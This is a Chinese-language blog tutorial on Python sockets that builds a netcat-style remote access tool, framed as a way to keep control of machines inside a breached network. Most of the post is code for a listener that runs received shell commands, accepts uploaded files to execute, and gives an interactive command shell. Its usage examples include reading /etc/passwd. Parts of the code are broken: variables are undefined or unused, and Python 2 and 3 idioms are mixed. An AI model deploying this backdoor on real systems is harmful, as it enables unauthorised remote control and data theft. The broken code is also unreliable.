网络基础-python创建客户端和服务端

通过简单的网络访问,可以i做主机扫描,数据包注入,数据嗅探,远程攻击主机。但是,如果进入目标企业的内部网络,那么在陌生的内网中,你可能没有任何工具进行网络攻击,没有netcat,没有wireshark,没有编译器,甚至没办法安装编译器。然而,很多情况下,目标环境中安装了python。

开发人员可以使用大量的第三方Python工具创建网络客户端和服务端,这些第三方工具的核心模块是socket模块。这个模块能快速创建TCP和UDP服务器及客户端,使用原始套接字等所需的代码。为了攻击进入或者保持控制主机,socket模块是我们必须使用的模块。我们先创建客户端和服务器。
TCP客户端:
在渗透测试的过程中,我们经常会遇到需要创建一个TCP客户端来连接服务,发送垃圾数据,进行模糊测试或者进行其他任务的情况。如果你工作在一个独立的大型企业网络环境中,那么你没有丰富的网络工具或者编译器,甚至可能会在一个不具备基本的复制和粘贴功能或者失去互联网连接的环境下工作。在这种环境下,先手动创建一个TCP客户端。
import socket

target_host = 'www.baidu.com'
target_port = 80

#建立一个socket对象,AF_INET表示标准的IPv4的地址,SOCK_STREAM说明是个TCP客户端
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

# 连接客户端
client.connect((target_host,target_port))

#向地址发送一些数据
client.send("你皮任你皮,我当你是瓜皮")

#接受一些数据
response = client.recv(4096)
print(response)
在以上代码段中,我们对套接字做了一些假设,第一条假设是连接总是能成功建立,不会出错或异常;第二条假设是服务器总是期望客户端能首先发送数据;第三条假设是服务器每次都能及时返回数据。
TCP服务器:
python创建TCP服务端和创建客户端一样简单。你可能需要将自己的TCP服务器绑定到命令行shell或者创建一个代理。我们先创建一个标准的多线程TCP服务器。
import socket
import threading

bind_ip = "127.0.0.1"
bind_port = 6666

server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
# 服务器需要监听IP地址和端口
server.bind((bind_ip,bind_port))
# 启动监听并将最大连接数设为5
server.listen(5)

print("[*] 监听 %s:%d" % (bind_ip,bind_port))

#这是客户端处理线程
def handle_client(client_socket):
    # 打印出客户端发送得到的内容
    request = client_socket.recv(1024)
    print("接受 %s" % request)

    #返回一个数据包
    client_socket.send("ACK!")
    client_socket.close()

while True:
    # 把接收到的客户端套接字对象保存到client变量中,将远程连接的细节保存到addr变量中
    client,addr = server.accept()
    print("[*] 接受连接%s:%d" % (addr[0],addr[1]))

    #挂起客户端线程,处理传入的数据
    client_handler = threading.Thread(target=handle_client,args=(client,))
    client_handler.start()#启动线程开始处理客户端

取代netcat:

服务器没有安装netcat却安装了python,在这种情况下,需要创建一个简单的客户端和服务器来传递想使用的文件,或者创建一个监听端让自己有控制命令行的操作权限。如果你是通过WEB应用漏洞进入服务器的那么在后台调用python创建备用的控制通道显得尤为实用,这样就不需要首先在目标机器上安装木马或后门。
import sys
import socket
import getopt
import threading
# subprocess提供进程创建接口,它可以提供给你多种与客户程序交互的方法
import subprocess

# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

target_host = '0.0.0.0'
target_port = 0
# 创建主函数处理命令行参数和调用我们编写的其他函数
def usage():
    print("BHP Net Tool")
    print("------------------------------------- ")
    print("Usage:bhpnet.py -t target_host -p port")
    print("-l --listen -监听[host]:[port]")
    print("-e --execute==file_to_run -接受连接")
    print("-c --command -初始化命令行shell")
    print("-u --upload=destination -更新文件")
    print("------------------------------------------")
    print("示例:")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
    print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd")
    sys.exit(0)

def main():
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target

    if not len(sys.argv[1:]):
        usage()

    # 读取命令行选项
    try:
        opts,args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print(str(err))
        usage()

    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e","--execute"):
            execute = a
        elif o in ("-c","--commandshell"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            assert False,"Unhandle Option"

    # 我们是进行监听还是仅从标准输入发送数据?我们试图netcat从标准输入中读取数据
    # 并通过网络发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
        buffer = sys.stdin.read()

        # 发送数据
        client_sender(buffer)

    # 我们开始监听并准备上传文件,执行命令
    # 放置一个反弹shell
    # 取决于上面的命令行选项
    if listen:
        #如果检测到listen参数为true,我们就建立一个监听的套接字,准备处理下一步命令
        server_loop()
我们在客户端代码中增加以下代码
def client_sender(buffer):
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 连接到目标主机
        client.connect((target_host,target_port))
        # 检测是否接收到数据
        if len(buffer):
            client.send(buffer)

        while True:
            # 现在等待数据回传
            recv_len = 1
            response = ""

            # 如果一切正常,我们就将数据发送到目标主机并接回数据
            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data

                if recv_len < 4096:
                    break

            print(response)

            # 等待更多的输入
            buffer = input("")
            buffer += "\n"
            #发送出去
            client.send(buffer)
    except:
        print("没有正确运行")
        client.close()
我们从建立TCP套接字对象开始,首先检测是否已经从标准输入中接收到了数据,如果一切正常,我们就将数据发送给远程的目标主机并接收回传数据,我们继续创建服务端的主循环和子函数,用来对命令行shell的创建和命令的执行进行处理。

# 创建服务器端的主循环和子函数,用来对命令行shell的创建和命令的执行经i选哪个处理
def server_loop():
    global target

    # 如果没有定义目标,那么我们监听所有接口
    if not len(target):
        target = "0.0.0.0"

    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind((bind_ip, bind_port))
    server.listen(5)

    while True:
        client_socket, addr = server.accept()
        # 分拆一个线程处理新的客户端
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()
def run_command(command):
    #换行
    command = command.rstrip()
    #运行命令并将输出返回
    try:
        output = subprocess.check_output(command,stderr = subprocess.STDOUT,shell = True)
    except:
        output = "命令执行失败\n"
    return output

我们实现文件上传,命令执行和shell相关的功能
def client_handler(client_socket):
    global upload
    global execute
    global command

    # 检测上传文件
    # 负责检测我们的网络工具再建立连接后是否设置为接收文件
    # 这样有助于我们上传和执行测试脚本,安装恶意软件
    if len(upload_destination):
        # 读取所有的字符并写下目标
        file_buffer = ""
        # 持续读取数据直到没有符合的数据
        # 保证数据完全接收,然后打开一个句柄将内容写入文件中
        # wb标识确保我们时以二进制的格式写入文件
        while True:
            data = client_socket.recv(1024)
            if not data:
                break
            else:
                file_buffer += data

        # 现在我们接收这些数据并将他们写出来
        # 通过调用我们之前写好的run_command函数执行文件并将结果通过网络回传
        try:

            file_descriptor = open(upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()

            # 确认文件已经写出来
            client_socket.send("成功 %s" % upload_destination)
        except:
            client_socket.send("失败咯 %s" % upload_destination)

    # 检查命令行
    if len(execute):
        # 运行命令
        output = run_command(execute)
        client_socket.send(output)

    # 如果需要一个命令行shell,那么我们进入另一个循环
    # 程序持续处理输入的数据执行命令并将输出回传
    if command:
        while True:
            # 跳出一个窗口
            client_socket.send("")
            #现在我们接收文件知道发现换行符(enter key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)

            # 返回命令输出
            response = run_command(cmd_buffer)
            # 返回响应数据
            client_socket.send(response)

如果你自己编写一个Python客户端与它交互,那么记得添加换行符

你可能感兴趣的:(WEB黑客成长之路)